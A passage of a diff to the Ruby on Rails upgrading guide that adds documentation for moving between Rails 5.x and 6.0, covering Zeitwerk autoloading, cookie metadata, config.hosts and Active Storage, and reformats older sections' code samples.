+found [in this PR](https://github.com/rails/rails/pull/32313).
+
+Upgrading from Rails 5.2 to Rails 6.0
+-------------------------------------
+
+For more information on changes made to Rails 6.0 please see the [release notes](6_0_release_notes.html).
+
+### Using Webpacker
+
+[Webpacker](https://github.com/rails/webpacker)
+is the default JavaScript compiler for Rails 6. But if you are upgrading the app, it is not activated by default.
+If you want to use Webpacker, then include it in your Gemfile and install it:
+
+```ruby
+gem "webpacker"
+```
+
+```bash
+$ bin/rails webpacker:install
+```
+
+### Force SSL
+
+The `force_ssl` method on controllers has been deprecated and will be removed in
+Rails 6.1. You are encouraged to enable [`config.force_ssl`][] to enforce HTTPS
+connections throughout your application. If you need to exempt certain endpoints
+from redirection, you can use [`config.ssl_options`][] to configure that behavior.
+
+[`config.force_ssl`]: configuring.html#config-force-ssl
+[`config.ssl_options`]: configuring.html#config-ssl-options
+
+### Purpose and expiry metadata is now embedded inside signed and encrypted cookies for increased security
+
+To improve security, Rails embeds the purpose and expiry metadata inside encrypted or signed cookies value.
+
+Rails can then thwart attacks that attempt to copy the signed/encrypted value
+of a cookie and use it as the value of another cookie.
+
+This new embed metadata make those cookies incompatible with versions of Rails older than 6.0.
+
+If you require your cookies to be read by Rails 5.2 and older, or you are still validating your 6.0 deploy and want
+to be able to rollback set
+`Rails.application.config.action_dispatch.use_cookies_with_metadata` to `false`.
+
+### All npm packages have been moved to the `@rails` scope
+
+If you were previously loading any of the `actioncable`, `activestorage`,
+or `rails-ujs` packages through npm/yarn, you must update the names of these
+dependencies before you can upgrade them to `6.0.0`:
+
+```
+actioncable   → @rails/actioncable
+activestorage → @rails/activestorage
+rails-ujs     → @rails/ujs
+```
+
+### Action Cable JavaScript API Changes
+
+The Action Cable JavaScript package has been converted from CoffeeScript
+to ES2015, and we now publish the source code in the npm distribution.
+
+This release includes some breaking changes to optional parts of the
+Action Cable JavaScript API:
+
+- Configuration of the WebSocket adapter and logger adapter have been moved
+  from properties of `ActionCable` to properties of `ActionCable.adapters`.
+  If you are configuring these adapters you will need to make
+  these changes:
+
+    ```diff
+    -    ActionCable.WebSocket = MyWebSocket
+    +    ActionCable.adapters.WebSocket = MyWebSocket
+    ```
+
+    ```diff
+    -    ActionCable.logger = myLogger
+    +    ActionCable.adapters.logger = myLogger
+    ```
+
+- The `ActionCable.startDebugging()` and `ActionCable.stopDebugging()`
+  methods have been removed and replaced with the property
+  `ActionCable.logger.enabled`. If you are using these methods you
+  will need to make these changes:
+
+    ```diff
+    -    ActionCable.startDebugging()
+    +    ActionCable.logger.enabled = true
+    ```
+
+    ```diff
+    -    ActionCable.stopDebugging()
+    +    ActionCable.logger.enabled = false
+    ```
+
+### `ActionDispatch::Response#content_type` now returns the Content-Type header without modification
+
+Previously, the return value of `ActionDispatch::Response#content_type` did NOT contain the charset part.
+This behavior has changed to include the previously omitted charset part as well.
+
+If you want just the MIME type, please use `ActionDispatch::Response#media_type` instead.
+
+Before:
+
+```ruby
+resp = ActionDispatch::Response.new(200, "Content-Type" => "text/csv; header=present; charset=utf-16")
+resp.content_type #=> "text/csv; header=present"
+```
+
+After:
+
+```ruby
+resp = ActionDispatch::Response.new(200, "Content-Type" => "text/csv; header=present; charset=utf-16")
+resp.content_type #=> "text/csv; header=present; charset=utf-16"
+resp.media_type   #=> "text/csv"
+```
+
+### New `config.hosts` setting
+
+Rails now has a new `config.hosts` setting for security purposes. This setting
+defaults to `localhost` in development. If you use other domains in development
+you need to allow them like this:
+
+```ruby
+# config/environments/development.rb
+
+config.hosts << "dev.myapp.com"
+config.hosts << /[a-z0-9-]+\.myapp\.com/ # Optionally, regexp is allowed as well
+```
+
+For other environments `config.hosts` is empty by default, which means Rails
+won't validate the host at all. You can optionally add them if you want to
+validate it in production.
+
+### Autoloading
+
+The default configuration for Rails 6
+
+```ruby
+# config/application.rb
+
+config.load_defaults 6.0
+```
+
+enables `zeitwerk` autoloading mode on CRuby. In that mode, autoloading, reloading, and eager loading are managed by [Zeitwerk](https://github.com/fxn/zeitwerk).
+
+If you are using defaults from a previous Rails version, you can enable zeitwerk like so:
+
+```ruby
+# config/application.rb
+
+config.autoloader = :zeitwerk
+```
+
+#### Public API
+
+In general, applications do not need to use the API of Zeitwerk directly. Rails sets things up according to the existing contract: `config.autoload_paths`, `config.cache_classes`, etc.
+
+While applications should stick to that interface, the actual Zeitwerk loader object can be accessed as
+
+```ruby
+Rails.autoloaders.main
+```
+
+That may be handy if you need to preload Single Table Inheritance (STI) classes or configure a custom inflector, for example.
+
+#### Project Structure
+
+If the application being upgraded autoloads correctly, the project structure should be already mostly compatible.
+
+However, `classic` mode infers file names from missing constant names (`underscore`), whereas `zeitwerk` mode infers constant names from file names (`camelize`). These helpers are not always inverse of each other, in particular if acronyms are involved. For instance, `"FOO".underscore` is `"foo"`, but `"foo".camelize` is `"Foo"`, not `"FOO"`.
+
+Compatibility can be checked with the `zeitwerk:check` task:
+
+```bash
+$ bin/rails zeitwerk:check
+Hold on, I am eager loading the application.
+All is good!
+```
+
+#### require_dependency
+
+All known use cases of `require_dependency` have been eliminated, you should grep the project and delete them.
+
+If your application uses Single Table Inheritance, please see the [Single Table Inheritance section](autoloading_and_reloading_constants.html#single-table-inheritance) of the Autoloading and Reloading Constants (Zeitwerk Mode) guide.
+
+#### Qualified names in class and module definitions
+
+You can now robustly use constant paths in class and module definitions:
+
+```ruby
+# Autoloading in this class' body matches Ruby semantics now.
+class Admin::UsersController < ApplicationController
+  # ...
+end
+```
+
+A gotcha to be aware of is that, depending on the order of execution, the classic autoloader could sometimes be able to autoload `Foo::Wadus` in
+
+```ruby
+class Foo::Bar
+  Wadus
+end
+```
+
+That does not match Ruby semantics because `Foo` is not in the nesting, and won't work at all in `zeitwerk` mode. If you find such corner case you can use the qualified name `Foo::Wadus`:
+
+```ruby
+class Foo::Bar
+  Foo::Wadus
+end
+```
+
+or add `Foo` to the nesting:
+
+```ruby
+module Foo
+  class Bar
+    Wadus
+  end
+end
+```
+
+#### Concerns
+
+You can autoload and eager load from a standard structure like
+
+```
+app/models
+app/models/concerns
+```
+
+In that case, `app/models/concerns` is assumed to be a root directory (because it belongs to the autoload paths), and it is ignored as namespace. So, `app/models/concerns/foo.rb` should define `Foo`, not `Concerns::Foo`.
+
+The `Concerns::` namespace worked with the classic autoloader as a side-effect of the implementation, but it was not really an intended behavior. An application using `Concerns::` needs to rename those classes and modules to be able to run in `zeitwerk` mode.
+
+#### Having `app` in the autoload paths
+
+Some projects want something like `app/api/base.rb` to define `API::Base`, and add `app` to the autoload paths to accomplish that in `classic` mode. Since Rails adds all subdirectories of `app` to the autoload paths automatically, we have another situation in which there are nested root directories, so that setup no longer works. Similar principle we explained above with `concerns`.
+
+If you want to keep that structure, you'll need to delete the subdirectory from the autoload paths in an initializer:
+
+```ruby
+ActiveSupport::Dependencies.autoload_paths.delete("#{Rails.root}/app/api")
+```
+
+#### Autoloaded Constants and Explicit Namespaces
+
+If a namespace is defined in a file, as `Hotel` is here:
+
+```
+app/models/hotel.rb         # Defines Hotel.
+app/models/hotel/pricing.rb # Defines Hotel::Pricing.
+```
+
+the `Hotel` constant has to be set using the `class` or `module` keywords. For example:
 
-The process should go as follows:
+```ruby
+class Hotel
+end
+```
 
-1. Write tests and make sure they pass.
-2. Move to the latest patch version after your current version.
-3. Fix tests and deprecated features.
-4. Move to the latest patch version of the next minor version.
+is good.
 
-Repeat this process until you reach your target Rails version. Each time you move versions, you will need to change the Rails version number in the Gemfile (and possibly other gem versions) and run `bundle update`. Then run the Update task mentioned below to update configuration files, then run your tests.
+Alternatives like
 
-You can find a list of all released Rails versions [here](https://rubygems.org/gems/rails/versions).
+```ruby
+Hotel = Class.new
+```
 
-### Ruby Versions
+or
 
-Rails generally stays close to the latest released Ruby version when it's released:
+```ruby
+Hotel = Struct.new
+```
 
-* Rails 5 requires Ruby 2.2.2 or newer.
-* Rails 4 prefers Ruby 2.0 and requires 1.9.3 or newer.
-* Rails 3.2.x is the last branch to support Ruby 1.8.7.
-* Rails 3 and above require Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially. You should upgrade as early as possible.
+won't work, child objects like `Hotel::Pricing` won't be found.
 
-TIP: Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump straight to 1.9.3 for smooth sailing.
+This restriction only applies to explicit namespaces. Classes and modules not defining a namespace can be defined using those idioms.
 
-### The Update Task
+#### One file, one constant (at the same top-level)
 
-Rails provides the `app:update` task (`rake rails:update` on 4.2 and earlier). After updating the Rails version
-in the Gemfile, run this task.
-This will help you with the creation of new files and changes of old files in an
-interactive session.
+In `classic` mode you could technically define several constants at the same top-level and have them all reloaded. For example, given
 
-```bash
-$ rails app:update
-   identical  config/boot.rb
-       exist  config
-    conflict  config/routes.rb
-Overwrite /myapp/config/routes.rb? (enter "h" for help) [Ynaqdh]
-       force  config/routes.rb
-    conflict  config/application.rb
-Overwrite /myapp/config/application.rb? (enter "h" for help) [Ynaqdh]
-       force  config/application.rb
-    conflict  config/environment.rb
-...
+```ruby
+# app/models/foo.rb
+
+class Foo
+end
+
+class Bar
+end
+```
+
+while `Bar` could not be autoloaded, autoloading `Foo` would mark `Bar` as autoloaded too. This is not the case in `zeitwerk` mode, you need to move `Bar` to its own file `bar.rb`. One file, one constant.
+
+This only applies to constants at the same top-level as in the example above. Inner classes and modules are fine. For example, consider
+
+```ruby
+# app/models/foo.rb
+
+class Foo
+  class InnerClass
+  end
+end
+```
+
+If the application reloads `Foo`, it will reload `Foo::InnerClass` too.
+
+#### Spring and the `test` Environment
+
+Spring reloads the application code if something changes. In the `test` environment you need to enable reloading for that to work:
+
+```ruby
+# config/environments/test.rb
+
+config.cache_classes = false
+```
+
+Otherwise you'll get this error:
+
+```
+reloading is disabled because config.cache_classes is true
+```
+
+#### Bootsnap
+
+Bootsnap should be at least version 1.4.2.
+
+In addition to that, Bootsnap needs to disable the iseq cache due to a bug in the interpreter if running Ruby 2.5. Please make sure to depend on at least Bootsnap 1.4.4 in that case.
+
+#### `config.add_autoload_paths_to_load_path`
+
+The new configuration point [`config.add_autoload_paths_to_load_path`][] is `true` by default for backwards compatibility, but allows you to opt-out from adding the autoload paths to `$LOAD_PATH`.
+
+This makes sense in most applications, since you never should require a file in `app/models`, for example, and Zeitwerk only uses absolute file names internally.
+
+By opting-out you optimize `$LOAD_PATH` lookups (less directories to check), and save Bootsnap work and memory consumption, since it does not need to build an index for these directories.
+
+[`config.add_autoload_paths_to_load_path`]: configuring.html#config-add-autoload-paths-to-load-path
+
+#### Thread-safety
+
+In classic mode, constant autoloading is not thread-safe, though Rails has locks in place for example to make web requests thread-safe when autoloading is enabled, as it is common in the development environment.
+
+Constant autoloading is thread-safe in `zeitwerk` mode. For example, you can now autoload in multi-threaded scripts executed by the `runner` command.
+
+#### Globs in config.autoload_paths
+
+Beware of configurations like
+
+```ruby
+config.autoload_paths += Dir["#{config.root}/lib/**/"]
+```
+
+Every element of `config.autoload_paths` should represent the top-level namespace (`Object`) and they cannot be nested in consequence (with the exception of `concerns` directories explained above).
+
+To fix this, just remove the wildcards:
+
+```ruby
+config.autoload_paths << "#{config.root}/lib"
+```
+
+#### Eager loading and autoloading are consistent
+
+In `classic` mode, if `app/models/foo.rb` defines `Bar`, you won't be able to autoload that file, but eager loading will work because it loads files recursively blindly. This can be a source of errors if you test things first eager loading, execution may fail later autoloading.
+
+In `zeitwerk` mode both loading modes are consistent, they fail and err in the same files.
+
+#### How to Use the Classic Autoloader in Rails 6
+
+Applications can load Rails 6 defaults and still use the classic autoloader by setting `config.autoloader` this way:
+
+```ruby
+# config/application.rb
+
+config.load_defaults 6.0
+config.autoloader = :classic
+```
+
+When using the Classic Autoloader in Rails 6 application it is recommended to set concurrency level to 1 in development environment, for the web servers and background processors, due to the thread-safety concerns.
+
+### Active Storage assignment behavior change
+
+With the configuration defaults for Rails 5.2, assigning to a collection of attachments declared with `has_many_attached` appends new files:
+
+```ruby
+class User < ApplicationRecord
+  has_many_attached :highlights
+end
+
+user.highlights.attach(filename: "funky.jpg")
+user.highlights.count # => 1
+
+blob = ActiveStorage::Blob.create_after_upload!(filename: "town.jpg")
+user.update!(highlights: [ blob ])
+
+user.highlights.count # => 2
+user.highlights.first.filename # => "funky.jpg"
+user.highlights.second.filename # => "town.jpg"
+```
+
+With the configuration defaults for Rails 6.0, assigning to a collection of attachments replaces existing files instead of appending to them. This matches Active Record behavior when assigning to a collection association:
+
+```ruby
+user.highlights.attach(filename: "funky.jpg")
+user.highlights.count # => 1
+
+blob = ActiveStorage::Blob.create_after_upload!(filename: "town.jpg")
+user.update!(highlights: [ blob ])
+
+user.highlights.count # => 1
+user.highlights.first.filename # => "town.jpg"
+```
+
+`#attach` can be used to add new attachments without removing the existing ones:
+
+```ruby
+blob = ActiveStorage::Blob.create_after_upload!(filename: "town.jpg")
+user.highlights.attach(blob)
+
+user.highlights.count # => 2
+user.highlights.first.filename # => "funky.jpg"
+user.highlights.second.filename # => "town.jpg"
+```
+
+Existing applications can opt in to this new behavior by setting [`config.active_storage.replace_on_assign_to_many`][] to `true`. The old behavior will be deprecated in Rails 7.0 and removed in Rails 7.1.
+
+[`config.active_storage.replace_on_assign_to_many`]: configuring.html#config-active-storage-replace-on-assign-to-many
+
+### Custom exception handling applications
+
+Invalid `Accept` or `Content-Type` request headers will now raise an exception.
+The default [`config.exceptions_app`][] specifically handles that error and compensates for it.
+Custom exceptions applications will need to handle that error as well, or such requests will cause Rails to use the fallback exceptions application, which returns a `500 Internal Server Error`.
+
+[`config.exceptions_app`]: configuring.html#config-exceptions-app
+
+Upgrading from Rails 5.1 to Rails 5.2
+-------------------------------------
+
+For more information on changes made to Rails 5.2 please see the [release notes](5_2_release_notes.html).
+
+### Bootsnap
+
+Rails 5.2 adds bootsnap gem in the [newly generated app's Gemfile](https://github.com/rails/rails/pull/29313).
+The `app:update` command sets it up in `boot.rb`. If you want to use it, then add it in the Gemfile:
+
+```ruby
+# Reduces boot times through caching; required in config/boot.rb
+gem "bootsnap", require: false
+```
+
+Otherwise change the `boot.rb` to not use bootsnap.
+
+### Expiry in signed or encrypted cookie is now embedded in the cookies values
+
+To improve security, Rails now embeds the expiry information also in encrypted or signed cookies value.
+
+This new embedded information makes those cookies incompatible with versions of Rails older than 5.2.
+
+If you require your cookies to be read by 5.1 and older, or you are still validating your 5.2 deploy and want
+to allow you to rollback set
+`Rails.application.config.action_dispatch.use_authenticated_cookie_encryption` to `false`.
+
+Upgrading from Rails 5.0 to Rails 5.1
+-------------------------------------
+
+For more information on changes made to Rails 5.1 please see the [release notes](5_1_release_notes.html).
+
+### Top-level `HashWithIndifferentAccess` is soft-deprecated
+
+If your application uses the top-level `HashWithIndifferentAccess` class, you
+should slowly move your code to instead use `ActiveSupport::HashWithIndifferentAccess`.
+
+It is only soft-deprecated, which means that your code will not break at the
+moment and no deprecation warning will be displayed, but this constant will be
+removed in the future.
+
+Also, if you have pretty old YAML documents containing dumps of such objects,
+you may need to load and dump them again to make sure that they reference
+the right constant, and that loading them won't break in the future.
+
+### `application.secrets` now loaded with all keys as symbols
+
+If your application stores nested configuration in `config/secrets.yml`, all keys
+are now loaded as symbols, so access using strings should be changed.
+
+From:
+
+```ruby
+Rails.application.secrets[:smtp_settings]["address"]
+```
+
+To:
+
+```ruby
+Rails.application.secrets[:smtp_settings][:address]
+```
+
+### Removed deprecated support to `:text` and `:nothing` in `render`
+
+If your controllers are using `render :text`, they will no longer work. The new method
+of rendering text with MIME type of `text/plain` is to use `render :plain`.
+
+Similarly, `render :nothing` is also removed and you should use the `head` method
+to send responses that contain only headers. For example, `head :ok` sends a
+200 response with no body to render.
+
+### Removed deprecated support of `redirect_to :back`
+
+In Rails 5.0, `redirect_to :back` was deprecated. In Rails 5.1, it was removed completely.
+
+As an alternative, use `redirect_back`. It's important to note that `redirect_back` also takes
+a `fallback_location` option which will be used in case the `HTTP_REFERER` is missing.
+
+```ruby
+redirect_back(fallback_location: root_path)
 ```
 
-Don't forget to review the difference, to see if there were any unexpected changes.
 
 Upgrading from Rails 4.2 to Rails 5.0
 -------------------------------------
@@ -88,7 +1549,7 @@ model behavior.
 When upgrading from Rails 4.2 to Rails 5.0, you need to create an
 `application_record.rb` file in `app/models/` and add the following content:
 
-```
+```ruby
 class ApplicationRecord < ActiveRecord::Base
   self.abstract_class = true
 end
@@ -114,7 +1575,9 @@ warning about this upcoming change.
 When you are ready, you can opt into the new behavior and remove the deprecation
 warning by adding the following configuration to your `config/application.rb`:
 
-    ActiveSupport.halt_callback_chains_on_return_false = false
+```ruby
+ActiveSupport.halt_callback_chains_on_return_false = false
+```
 
 Note that this option will not affect Active Support callbacks since they never
 halted the chain when any value was returned.
@@ -129,7 +1592,7 @@ behavior has changed to now inherit from `ApplicationJob`.
 When upgrading from Rails 4.2 to Rails 5.0, you need to create an
 `application_job.rb` file in `app/jobs/` and add the following content:
 
-```
+```ruby
 class ApplicationJob < ActiveJob::Base
 end
 ```
@@ -143,10 +1606,10 @@ See [#19034](https://github.com/rails/rails/pull/19034) for more details.
 #### Extraction of some helper methods to `rails-controller-testing`
 
 `assigns` and `assert_template` have been extracted to the `rails-controller-testing` gem. To
-continue using these methods in your controller tests, add `gem 'rails-controller-testing'` to
-your Gemfile.
+continue using these methods in your controller tests, add `gem "rails-controller-testing"` to
+your `Gemfile`.
 
-If you are using Rspec for testing, please see the extra configuration required in the gem's
+If you are using RSpec for testing, please see the extra configuration required in the gem's
 documentation.
 
 #### New behavior when uploading files
@@ -170,14 +1633,13 @@ are also fine because the file defining them will have been eager loaded while b
 
 For the vast majority of applications this change needs no action. But in the
 very rare event that your application needs autoloading while running in
-production mode, set `Rails.application.config.enable_dependency_loading` to
-true.
+production, set `Rails.application.config.enable_dependency_loading` to true.
 
 ### XML Serialization
 
 `ActiveModel::Serializers::Xml` has been extracted from Rails to the `activemodel-serializers-xml`
-gem. To continue using XML serialization in your application, add `gem 'activemodel-serializers-xml'`
-to your Gemfile.
+gem. To continue using XML serialization in your application, add `gem "activemodel-serializers-xml"`
+to your `Gemfile`.
 
 ### Removed Support for Legacy `mysql` Database Adapter
 
@@ -189,25 +1651,27 @@ it.
 
 `debugger` is not supported by Ruby 2.2 which is required by Rails 5. Use `byebug` instead.
 
-### Use bin/rails for running tasks and tests
+### Use `bin/rails` for running tasks and tests
 
 Rails 5 adds the ability to run tasks and tests through `bin/rails` instead of rake. Generally
 these changes are in parallel with rake, but some were ported over altogether.
 
 To use the new test runner simply type `bin/rails test`.
 
-`rake dev:cache` is now `rails dev:cache`.
+`rake dev:cache` is now `bin/rails dev:cache`.
 
-Run `bin/rails` to see the list of commands available.
+Run `bin/rails` inside your application's root directory to see the list of commands available.
 
 ### `ActionController::Parameters` No Longer Inherits from `HashWithIndifferentAccess`
 
 Calling `params` in your application will now return an object instead of a hash. If your
-parameters are already permitted, then you will not need to make any changes. If you are using `slice`
+parameters are already permitted, then you will not need to make any changes. If you are using `map`
 and other methods that depend on being able to read the hash regardless of `permitted?` you will
 need to upgrade your application to first permit and then convert to a hash.
 
-    params.permit([:proceed_to, :return_to]).to_h
+```ruby
+params.permit([:proceed_to, :return_to]).to_h
+```
 
 ### `protect_from_forgery` Now Defaults to `prepend: false`
 
@@ -241,6 +1705,16 @@ You can now just call the dependency once with a wildcard.
 <% # Template Dependency: recordings/threads/events/* %>
 ```
 
+### `ActionView::Helpers::RecordTagHelper` moved to external gem (record_tag_helper)
+
+`content_tag_for` and `div_for` have been removed in favor of just using `content_tag`. To continue using the older methods, add the `record_tag_helper` gem to your `Gemfile`:
+
+```ruby
+gem "record_tag_helper", "~> 1.0"
+```
+
+See [#18411](https://github.com/rails/rails/pull/18411) for more details.
+
 ### Removed Support for `protected_attributes` Gem
 
 The `protected_attributes` gem is no longer supported in Rails 5.
@@ -268,7 +1742,7 @@ should also extend the module with `ActiveSupport::Concern`. Alternatively, you
 to include `ActionController::Live` directly to the controller once the `StreamingSupport` is included.
 
 This means that if your application used to have its own streaming module, the following code
-would break in production mode:
+would break in production:
 
 ```ruby
 # This is a work-around for streamed controllers performing authentication with Warden/Devise.
@@ -281,7 +1755,7 @@ class StreamingSupport
   def process(name)
     super(name)
   rescue ArgumentError => e
-    if e.message == 'uncaught throw :warden'
+    if e.message == "uncaught throw :warden"
       throw :warden
     else
       raise e
@@ -298,18 +1772,42 @@ end
 
 This can be turned off per-association with `optional: true`.
 
-This default will be automatically configured in new applications. If existing application
-want to add this feature it will need to be turned on in an initializer.
+This default will be automatically configured in new applications. If an existing application
+wants to add this feature it will need to be turned on in an initializer:
+
+```ruby
+config.active_record.belongs_to_required_by_default = true
+```
+
+The configuration is by default global for all your models, but you can
+override it on a per model basis. This should help you migrate all your models to have their
+associations required by default.
+
+```ruby
+class Book < ApplicationRecord
+  # model is not yet ready to have its association required by default
+
+  self.belongs_to_required_by_default = false
+  belongs_to(:author)
+end
+
+class Car < ApplicationRecord
+  # model is ready to have its association required by default
 
-    config.active_record.belongs_to_required_by_default = true
+  self.belongs_to_required_by_default = true
+  belongs_to(:pilot)
+end
+```
 
 #### Per-form CSRF Tokens
 
 Rails 5 now supports per-form CSRF tokens to mitigate against code-injection attacks with forms
 created by JavaScript. With this option turned on, forms in your application will each have their
-own CSRF token that is specified to the action and method for that form.
+own CSRF token that is specific to the action and method for that form.
 
-    config.action_controller.per_form_csrf_tokens = true
+```ruby
+config.action_controller.per_form_csrf_tokens = true
+```
 
 #### Forgery Protection with Origin Check
 
@@ -317,51 +1815,74 @@ You can now configure your application to check if the HTTP `Origin` header shou
 against the site's origin as an additional CSRF defense. Set the following in your config to
 true:
 
-    config.action_controller.forgery_protection_origin_check = true
+```ruby
+config.action_controller.forgery_protection_origin_check = true
+```
 
 #### Allow Configuration of Action Mailer Queue Name
 
 The default mailer queue name is `mailers`. This configuration option allows you to globally change
 the queue name. Set the following in your config:
 
-    config.action_mailer.deliver_later_queue_name = :new_queue_name
+```ruby
+config.action_mailer.deliver_later_queue_name = :new_queue_name
+```
 
 #### Support Fragment Caching in Action Mailer Views
 
-Set `config.action_mailer.perform_caching` in your config to determine whether your Action Mailer views
+Set [`config.action_mailer.perform_caching`][] in your config to determine whether your Action Mailer views
 should support caching.
 
-    config.action_mailer.perform_caching = true
+```ruby
+config.action_mailer.perform_caching = true
+```
+
+[`config.action_mailer.perform_caching`]: configuring.html#config-action-mailer-perform-caching
 
 #### Configure the Output of `db:structure:dump`
 
 If you're using `schema_search_path` or other PostgreSQL extensions, you can control how the schema is
 dumped. Set to `:all` to generate all dumps, or to `:schema_search_path` to generate from schema search path.
 
-    config.active_record.dump_schemas = :all
+```ruby
+config.active_record.dump_schemas = :all
+```
 
 #### Configure SSL Options to Enable HSTS with Subdomains
 
 Set the following in your config to enable HSTS when using subdomains:
 
-    config.ssl_options = { hsts: { subdomains: true } }
+```ruby
+config.ssl_options = { hsts: { subdomains: true } }
+```
 
 #### Preserve Timezone of the Receiver
 
 When using Ruby 2.4, you can preserve the timezone of the receiver when calling `to_time`.
 
-    ActiveSupport.to_time_preserves_timezone = false
+```ruby
+ActiveSupport.to_time_preserves_timezone = false
+```
+
+### Changes with JSON/JSONB serialization
+
+In Rails 5.0, how JSON/JSONB attributes are serialized and deserialized changed. Now, if
+you set a column equal to a `String`, Active Record will no longer turn that string
+into a `Hash`, and will instead only return the string. This is not limited to code
+interacting with models, but also affects `:default` column settings in `db/schema.rb`.
+It is recommended that you do not set columns equal to a `String`, but pass a `Hash`
+instead, which will be converted to and from a JSON string automatically.
 
 Upgrading from Rails 4.1 to Rails 4.2
 -------------------------------------
 
 ### Web Console
 
-First, add `gem 'web-console', '~> 2.0'` to the `:development` group in your Gemfile and run `bundle install` (it won't have been included when you upgraded Rails). Once it's been installed, you can simply drop a reference to the console helper (i.e., `<%= console %>`) into any view you want to enable it for. A console will also be provided on any error page you view in your development environment.
+First, add `gem "web-console", "~> 2.0"` to the `:development` group in your `Gemfile` and run `bundle install` (it won't have been included when you upgraded Rails). Once it's been installed, you can simply drop a reference to the console helper (i.e., `<%= console %>`) into any view you want to enable it for. A console will also be provided on any error page you view in your development environment.
 
 ### Responders
 
-`respond_with` and the class-level `respond_to` methods have been extracted to the `responders` gem. To use them, simply add `gem 'responders', '~> 2.0'` to your Gemfile. Calls to `respond_with` and `respond_to` (again, at the class level) will no longer work without having included the `responders` gem in your dependencies:
+`respond_with` and the class-level `respond_to` methods have been extracted to the `responders` gem. To use them, simply add `gem "responders", "~> 2.0"` to your `Gemfile`. Calls to `respond_with` and `respond_to` (again, at the class level) will no longer work without having included the `responders` gem in your dependencies:
 
 ```ruby
 # app/controllers/users_controller.rb
@@ -408,7 +1929,9 @@ you are ready, you can opt into the new behavior and remove the
 deprecation warning by adding following configuration to your
 `config/application.rb`:
 
-    config.active_record.raise_in_transactional_callbacks = true
+```ruby
+config.active_record.raise_in_transactional_callbacks = true
+```
 
 See [#14488](https://github.com/rails/rails/pull/14488) and
 [#16537](https://github.com/rails/rails/pull/16537) for more details.
@@ -505,16 +2028,15 @@ Read the [gem's readme](https://github.com/rails/rails-html-sanitizer) for more
 The documentation for `PermitScrubber` and `TargetScrubber` explains how you
 can gain complete control over when and how elements should be stripped.
 
-If your application needs to use the old sanitizer implementation, include `rails-deprecated_sanitizer` in your Gemfile:
+If your application needs to use the old sanitizer implementation, include `rails-deprecated_sanitizer` in your `Gemfile`:
 
 ```ruby
-gem 'rails-deprecated_sanitizer'
+gem "rails-deprecated_sanitizer"
 ```
 
 ### Rails DOM Testing
 
-The [`TagAssertions` module](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/TagAssertions.html) (containing methods such as `assert_tag`), [has been deprecated](https://github.com/rails/rails/blob/6061472b8c310158a2a2e8e9a6b81a1aef6b60fe/actionpack/lib/action_dispatch/testing/assertions/dom.rb) in favor of the `assert_select` methods from the `SelectorAssertions` module, which has been extracted into the [rails-dom-testing gem](https://github.com/rails/rails-dom-testing).
-
+The [`TagAssertions` module](https://api.rubyonrails.org/v4.1/classes/ActionDispatch/Assertions/TagAssertions.html) (containing methods such as `assert_tag`), [has been deprecated](https://github.com/rails/rails/blob/6061472b8c310158a2a2e8e9a6b81a1aef6b60fe/actionpack/lib/action_dispatch/testing/assertions/dom.rb) in favor of the `assert_select` methods from the `SelectorAssertions` module, which has been extracted into the [rails-dom-testing gem](https://github.com/rails/rails-dom-testing).
 
 ### Masked Authenticity Tokens
 
@@ -530,13 +2052,15 @@ invocation of the instance methods are deferred until either `deliver_now` or
 
 ```ruby
 class Notifier < ActionMailer::Base
-  def notify(user, ...)
+  def notify(user)
     puts "Called"
-    mail(to: user.email, ...)
+    mail(to: user.email)
   end
 end
+```
 
-mail = Notifier.notify(user, ...) # Notifier#notify is not yet called at this point
+```ruby
+mail = Notifier.notify(user) # Notifier#notify is not yet called at this point
 mail = mail.deliver_now           # Prints "Called"
 ```
 
@@ -563,11 +2087,11 @@ migration DSL counterpart.
 
 The migration procedure is as follows:
 
-1. remove `gem "foreigner"` from the Gemfile.
+1. remove `gem "foreigner"` from the `Gemfile`.
 2. run `bundle install`.
 3. run `bin/rake db:schema:dump`.
 4. make sure that `db/schema.rb` contains every foreign key definition with
-the necessary options.
+  the necessary options.
 
 Upgrading from Rails 4.0 to Rails 4.1
 -------------------------------------
@@ -594,7 +2118,7 @@ xhr :get, :index, format: :js
 
 to explicitly test an `XmlHttpRequest`.
 
-Note: Your own `<script>` tags are treated as cross-origin and blocked by
+NOTE: Your own `<script>` tags are treated as cross-origin and blocked by
 default, too. If you really mean to load JavaScript from `<script>` tags,
 you must now explicitly skip CSRF protection on those actions.
 
@@ -602,9 +2126,9 @@ you must now explicitly skip CSRF protection on those actions.
 
 If you want to use Spring as your application preloader you need to:
 
-1. Add `gem 'spring', group: :development` to your `Gemfile`.
+1. Add `gem "spring", group: :development` to your `Gemfile`.
 2. Install spring using `bundle install`.
-3. Springify your binstubs with `bundle exec spring binstub --all`.
+3. Generate the Spring binstub with `bundle exec spring binstub`.
 
 NOTE: User defined rake tasks will run in the `development` environment by
 default. If you want them to run in other environments consult the
@@ -629,10 +2153,10 @@ secrets, you need to:
     ```
 
 2. Use your existing `secret_key_base` from the `secret_token.rb` initializer to
-   set the SECRET_KEY_BASE environment variable for whichever users running the
-   Rails application in production mode. Alternatively, you can simply copy the existing
+   set the `SECRET_KEY_BASE` environment variable for whichever users running the
+   Rails application in production. Alternatively, you can simply copy the existing
    `secret_key_base` from the `secret_token.rb` initializer to `secrets.yml`
-   under the `production` section, replacing '<%= ENV["SECRET_KEY_BASE"] %>'.
+   under the `production` section, replacing `<%= ENV["SECRET_KEY_BASE"] %>`.
 
 3. Remove the `secret_token.rb` initializer.
 
@@ -644,7 +2168,7 @@ secrets, you need to:
 
 If your test helper contains a call to
 `ActiveRecord::Migration.check_pending!` this can be removed. The check
-is now done automatically when you `require 'rails/test_help'`, although
+is now done automatically when you `require "rails/test_help"`, although
 leaving this line in your helper is not harmful in any way.
 
 ### Cookies serializer
@@ -668,7 +2192,7 @@ will be serialized as strings, and `Hash`es will have their keys stringified.
 class CookiesController < ApplicationController
   def set_cookie
     cookies.encrypted[:expiration_date] = Date.tomorrow # => Thu, 20 Mar 2014
-    redirect_to action: 'read_cookie'
+    redirect_to action: "read_cookie"
   end
 
   def read_cookie
@@ -715,13 +2239,14 @@ and has been removed from Rails.
 
 If your application currently depends on MultiJSON directly, you have a few options:
 
-1. Add 'multi_json' to your Gemfile. Note that this might cease to work in the future
